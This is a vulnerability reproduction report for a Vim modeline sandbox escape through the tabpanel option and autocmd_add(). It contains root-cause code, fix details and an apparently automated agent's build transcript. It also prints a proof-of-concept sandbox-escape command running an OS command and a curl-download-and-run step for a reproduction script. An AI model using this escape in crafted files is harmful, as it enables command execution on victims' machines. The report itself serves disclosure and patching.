CVE-2026-34714: Verified Repro With Script Download
CVE-2026-34714: Vim modeline handling for the tabpanel option allows sandbox escape via autocmd add, enabling OS command execution when opening a crafted file.
CVE-2026-34714 is verified against Vim · github. Affected versions: Treat Vim < 9.2.0272 as affected. Fixed in 9.2.0272. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00124.
What Is CVE-2026-34714?
GHSA-2gmj-rpqf-pxvh is a high-severity sandbox escape (CWE-78, OS command execution) in Vim's handling of the tabpanel option through modelines, combined with a missing security check in autocmd_add(). Opening a crafted file is enough to trigger it. Pruva reproduced it (reproduction REPRO-2026-00124).
CVE-2026-34714 Severity & CVSS Score
CVE-2026-34714 is rated critical severity, with a CVSS base score of 9.2 out of 10.
Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.
Affected Vim Versions
Vim · github versions Treat Vim < 9.2.0272 as affected are affected.
How to Reproduce CVE-2026-34714
pruva-verify REPRO-2026-00124 curl -O https://pruva.dev/api/v1/reproductions/REPRO-2026-00124/artifacts/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for CVE-2026-34714
Reproduced by Pruva's autonomous agents — 255 tool calls over 20 min. Full root-cause analysis and the complete transcript are below.
How the agent worked
Root Cause and Exploit Chain for CVE-2026-34714
Summary
A vulnerability in Vim's handling of the tabpanel option allows sandbox escape through modeline processing. The tabpanel option lacks the P_MLE (modelineexpr) security flag, allowing it to be set from a modeline without requiring the modelineexpr option to be enabled. When combined with the fact that autocmd_add() function lacks a check_secure() call, this enables arbitrary command execution when a victim opens a crafted file.
Impact
Package: Vim (https://github.com/vim/vim)
Affected Versions: < 9.2.0272
Patched Version: 9.2.0272
Risk Level: High
Consequences:
- Arbitrary OS command execution with user privileges
- Sandbox escape from Vim's restricted mode
- Code execution triggered by opening a text file
Root Cause
The vulnerability exists due to two security oversights:
1. Missing P_MLE flag on tabpanel option
In src/optiondefs.h, the tabpanel option is defined without the P_MLE flag:
{"tabpanel", "tpl", P_STRING|P_VI_DEF|P_RALL,
(char_u *)&p_tpl, PV_NONE, NULL, NULL,
{(char_u *)"", (char_u *)0L} SCTX_INIT},
Unlike similar options like statusline and tabline which have P_MLE, tabpanel can be set from a modeline without requiring modelineexpr to be enabled. The fix adds P_MLE to the flags:
{"tabpanel", "tpl", P_STRING|P_VI_DEF|P_RALL|P_MLE,
2. Missing check_secure() in autocmd_add()
The autocmd_add_or_delete() function in src/autocmd.c does not call check_secure() or check_restricted() to prevent execution in sandbox mode. The fix adds these checks:
if (check_restricted() || check_secure())
return;
Fix Commit: https://github.com/vim/vim/commit/664701eb7576edb7c7c7d9f2d600815ec1f43459
Reproduction Steps
The reproduction script (repro/reproduction_steps.sh) performs three tests:
Test 1: Modeline Security Bypass
Creates a file with a modeline that sets tabpanel and verifies it succeeds without modelineexpr:
/* vim: set tabpanel=pwned_value: */
Test 2: Sandbox Escape (autocmd_add)
Directly tests the core vulnerability by calling autocmd_add() from within Vim's sandbox:
sandbox call autocmd_add([{'event':'User','cmd':'call system("echo poc > /tmp/result")'}])
doautocmd User
Test 3: Full Exploit Chain
Attempts to combine both vulnerabilities through a modeline that sets tabpanel to an expression calling autocmd_add().
Execution:
cd /data/pruva/runs/2cdc80ca-2247-44e2-91bc-65b96f1563e7
bash repro/reproduction_steps.sh
Evidence
Test Results
[✓] Test 1: Modeline security bypass confirmed
Output: tabpanel=pwned_value
[✓] Test 2: autocmd_add sandbox bypass confirmed
Output: poc_success
Proof Files
/tmp/vim_poc_result- Created by sandbox-escaped autocommandlogs/modeline_test.txt- Crafted modeline test filelogs/t1.txt- Verification that tabpanel was set via modeline
Build Evidence
- Vim v9.2.0271 built from source with
+tabpanelfeature - Build artifacts in
vim-repo/src/vim
Attack Chain
- Attacker crafts a file with a malicious modeline
- Victim opens the file in Vim (with default settings -
modelineenabled) - Modeline sets
tabpanelto an expression containingautocmd_add()call - When tabpanel is evaluated (on redraw), expression executes in sandbox
autocmd_add()registers malicious autocommand (no sandbox check)- After sandbox exits, autocommand triggers on next event
- Arbitrary command executes with victim's privileges
Recommendations
Immediate Actions
- Upgrade to Vim 9.2.0272 or later
- Workaround: Disable modelines in
.vimrc:set nomodeline
Testing Recommendations
- Verify
P_MLEflag is set on all expression-evaluating options - Ensure all sandbox-escaping functions call
check_secure() - Add regression tests for modeline sandbox escapes
Additional Notes
Surface Mismatch
The ticket claims surface api_remote but this is a local CLI vulnerability in Vim. The actual attack surface is cli_local (local file processing). Vim is a text editor, not a remote API service.
Modeline Expression Limitations
Test 3 (full chain via modeline) has character encoding challenges because:
:in dictionary syntax{key: value}is interpreted as modeline terminator}ends the%{expr}block prematurely"and'quotes conflict with modeline parsing
These limitations are parser-level constraints, not security controls. The core vulnerability (sandbox escape via autocmd_add) is confirmed through Test 2.
Idempotency
The reproduction script is idempotent and can be run multiple times. Each run:
- Builds Vim if not present
- Cleans up previous test artifacts
- Runs all three tests
- Reports results
CVE-2026-34714 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
mkdir -p /data/pruva/runs/2cdc80ca-2247-44e2-91bc-65b96f1563e7/repro /data/pruva/runs/2cdc80ca-2247-44e2-91bc-65b96f1563e7/logscd /data/pruva/runs/2cdc80ca-2247-44e2-91bc-65b96f1563e7 && git clone --depth 100 https://github.com/vim/vim.git vim-repo 2>&1Cloning into 'vim-repo'...
cd /data/pruva/runs/2cdc80ca-2247-44e2-91bc-65b96f1563e7/vim-repo && git tag | grep "v9.2.027" | sort -Vv9.2.0270 v9.2.0271 v9.2.0272
cd /data/pruva/runs/2cdc80ca-2247-44e2-91bc-65b96f1563e7/vim-repo && git checkout v9.2.0271 2>&1Note: switching to 'v9.2.0271'. You are in 'detached HEAD' state. You can look around, make experimental changes and commit them, and you can discard any commits you make in this state without impacting any branches by switching back to a branch. If you want to create a new branch to retain commits you create, you may do so (now or later) by using -c with the switch command. Example:
cd /data/pruva/runs/2cdc80ca-2247-44e2-91bc-65b96f1563e7/vim-repo && ls -la | head -20{"cwd":"/data/pruva/runs/2cdc80ca-2247-44e2-91bc-65b96f1563e7","duration_ms":3,"exit_code":0,"stderr":"","stdout":"total 220\ndrwxr-xr-x 12 vscode vscode 4096 Mar 31 08:05 .\ndrwxr-xr-x 7 vscode vscode 4096 Mar 31 08:05 ..\n-rw-r--r-- 1 vscode vscode 945 Mar 31 08:05 .appveyor.yml\n-rw-r--r-- 1 vscode vscode 813 Mar 31 08:05 .cirrus.yml\n-rw-r--r-- 1 vscode vscode 6808 Mar 31 08:05 .clang-format\n-rw-r--r-- 1 vscode vscode 205 Mar 31 08:05 .codecov.yml\n-rw-r--r-- 1 vscode vscode 978 Mar 31 08:05 .editorconfig\ndrwxr-xr-x 7 vscode vscode 4096 Mar 31 08:05 .git\n-rw-r--r-- 1 vscode vscode 1130 Mar 31 08:05 .git-blame-ignore-revs\n-rw-r--r-- 1 vscode vscode 2263 Mar 31 08:05 .gitattributes\ndrwxr-xr-x 5 vscode vscode 4096 Mar 31 08:05 .github\n-rw-r--r-- 1 vscode vscode 2141 Mar 31 08:05 .gitignore\n-rw-r--r-- 1 vscode vscode 2139 Mar 31 08:05 .hgignore\n-rw-r--r-- 1 vscode vscode 7767 Mar 31 08:05 CONTRIBUTING.md\n-rw-r--r-- 1 vscode vscode 31734 Mar 31 08:05 Filelist\n-rw-r--r-- 1 vscode vscode 5021 Mar 31 08:05 LICENSE\n-rw-r--r-- 1 vscode vscode 20575 Mar 31 08:05 Makefile\n-rw-r--r-- 1 vscode vscode 7217 Mar 31 08:05 README.md\n-rw-r--r-- 1 … [truncated]cd /data/pruva/runs/2cdc80ca-2247-44e2-91bc-65b96f1563e7/vim-repo && ls src/*.c | head -10src/alloc.c src/arabic.c src/arglist.c src/autocmd.c src/beval.c src/blob.c src/blowfish.c src/buffer.c
sudo apt-get update && sudo apt-get install -y libncurses-dev libtinfo-dev build-essential autoconf 2>&1 | tail -20{"cwd":"/data/pruva/runs/2cdc80ca-2247-44e2-91bc-65b96f1563e7","duration_ms":5691,"exit_code":0,"stderr":"","stdout":"Get:1 https://deb.nodesource.com/node_24.x nodistro InRelease [12.1 kB]\nGet:2 http://ports.ubuntu.com/ubuntu-ports noble InRelease [256 kB]\nGet:3 https://deb.nodesource.com/node_24.x nodistro/main arm64 Packages [5752 B]\nGet:4 http://ports.ubuntu.com/ubuntu-ports noble-updates InRelease [126 kB]\nGet:5 http://ports.ubuntu.com/ubuntu-ports noble-backports InRelease [126 kB]\nGet:6 http://ports.ubuntu.com/ubuntu-ports noble-security InRelease [126 kB]\nGet:7 http://ports.ubuntu.com/ubuntu-ports noble/restricted arm64 Packages [113 kB]\nGet:8 http://ports.ubuntu.com/ubuntu-ports noble/universe arm64 Packages [19.0 MB]\nGet:9 http://ports.ubuntu.com/ubuntu-ports noble/multiverse arm64 Packages [274 kB]\nGet:10 http://ports.ubuntu.com/ubuntu-ports noble/main arm64 Packages [1776 kB]\nGet:11 http://ports.ubuntu.com/ubuntu-ports noble-updates/universe arm64 Packages [2116 kB]\nGet:12 http://ports.ubuntu.com/ubuntu-ports noble-updates/multiverse arm64 Packages [45.7 kB]\nGet:13 http://ports.ubuntu.com/ubuntu-ports noble-updates/main arm64 Packages [2453 kB]\nGet:14 http:… [truncated]cd /data/pruva/runs/2cdc80ca-2247-44e2-91bc-65b96f1563e7/vim-repo && ./configure --with-features=huge --enable-gui=no 2>&1 | tail -30{"cwd":"/data/pruva/runs/2cdc80ca-2247-44e2-91bc-65b96f1563e7","duration_ms":4335,"exit_code":0,"stderr":"","stdout":"checking size of int... 4\nchecking size of long... 8\nchecking size of time_t... 8\nchecking size of off_t... 8\nchecking uint32_t is 32 bits... ok\nchecking whether memmove handles overlaps... yes\nchecking for _xpg4_setrunelocale in -lxpg4... no\nchecking how to create tags... ctags\nchecking how to run man with a section nr... man -s\nchecking --disable-nls argument... no\nchecking for msgfmt... msgfmt\nchecking for NLS... gettext() works\nchecking for bind_textdomain_codeset... yes\nchecking for dgettext... yes\nyes\nchecking for _nl_msg_cat_cntr... yes\nchecking if msgfmt supports --desktop... yes\nchecking if msgfmt supports --no-convert... no\nchecking for dlfcn.h... yes\nchecking for dlopen()... yes\nchecking for dlsym()... yes\nchecking for setjmp.h... yes\nchecking for GCC 3 or later... yes\nchecking whether we need -D_FORTIFY_SOURCE=1... yes\nchecking whether we need to force -D_FILE_OFFSET_BITS=64... no\nchecking linker --as-needed support... yes\nconfigure: updating cache auto/config.cache\nconfigure: creating auto/config.status\nconfig.status: creatin… [truncated]cd /data/pruva/runs/2cdc80ca-2247-44e2-91bc-65b96f1563e7/vim-repo && make -j$(nproc) 2>&1 | tail -30{"cwd":"/data/pruva/runs/2cdc80ca-2247-44e2-91bc-65b96f1563e7","duration_ms":15549,"exit_code":0,"stderr":"","stdout":"gcc -c -I. -Iproto -DHAVE_CONFIG_H -g -O2 -D_REENTRANT -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=1 -o objects/viminfo.o viminfo.c\ngcc -c -I. -Iproto -DHAVE_CONFIG_H -g -O2 -D_REENTRANT -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=1 -o objects/window.o window.c\ngcc -c -I. -Iproto -DHAVE_CONFIG_H -g -O2 -D_REENTRANT -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=1 -o objects/bufwrite.o bufwrite.c\ngcc -c -I. -Ilibvterm/include -Iproto -DHAVE_CONFIG_H -g -O2 -D_REENTRANT -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=1 -DINLINE=\"\" -DVSNPRINTF=vim_vsnprintf -DSNPRINTF=vim_snprintf -DIS_COMBINING_FUNCTION=utf_iscomposing_uint -DWCWIDTH_FUNCTION=utf_uint2cells -o objects/vterm_encoding.o libvterm/src/encoding.c\ngcc -c -I. -Ilibvterm/include -Iproto -DHAVE_CONFIG_H -g -O2 -D_REENTRANT -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=1 -DINLINE=\"\" -DVSNPRINTF=vim_vsnprintf -DSNPRINTF=vim_snprintf -DIS_COMBINING_FUNCTION=utf_iscomposing_uint -DWCWIDTH_FUNCTION=utf_uint2cells -o objects/vterm_keyboard.o libvterm/src/keyboard.c\ngcc -c -I. -Ilibvterm/include -Ipro… [truncated]Artifacts and Evidence for CVE-2026-34714
Scripts, logs, diffs, and output captured during the reproduction.
No artifacts available
How to Fix CVE-2026-34714
Upgrade Vim · github to 9.2.0272 or later.
FAQ: CVE-2026-34714
How does the GHSA-2gmj-rpqf-pxvh attack work?
Which Vim versions are affected by GHSA-2gmj-rpqf-pxvh, and where is it fixed?
How severe is GHSA-2gmj-rpqf-pxvh?
How can I reproduce GHSA-2gmj-rpqf-pxvh?
References for CVE-2026-34714
Authoritative sources for CVE-2026-34714 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.